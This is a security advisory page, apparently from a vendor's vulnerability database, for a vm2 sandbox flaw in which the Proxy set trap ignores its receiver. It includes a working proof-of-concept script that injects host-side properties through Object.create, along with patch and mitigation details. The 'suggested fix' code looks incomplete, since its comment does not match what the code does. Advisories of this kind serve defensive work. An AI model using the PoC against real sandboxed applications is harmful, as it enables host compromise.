GHSA-c4cf-2hgv-2qv6 is a high-severity (CVSS 8.6) CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c4cf-2hgv-2qv6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c4cf-2hgv-2qv6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
Suggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.4npm install vm2@3.11.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c4cf-2hgv-2qv6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-c4cf-2hgv-2qv6 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-c4cf-2hgv-2qv6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability has been rated as Moderate for Red Hat Developer Hub and Red Hat Ansible Automation Platform. The vm2 sandbox exists as a transitive dependency in Red Hat Developer Hub and is only utilized during build time. The sandbox is therefore not exposed on the production code path. Exploitation of this…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1782761244 | RHSA-2026:33574 |
Frequently Asked Questions
Is GHSA-c4cf-2hgv-2qv6 in your dependencies?
O3 Security finds GHSA-c4cf-2hgv-2qv6 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.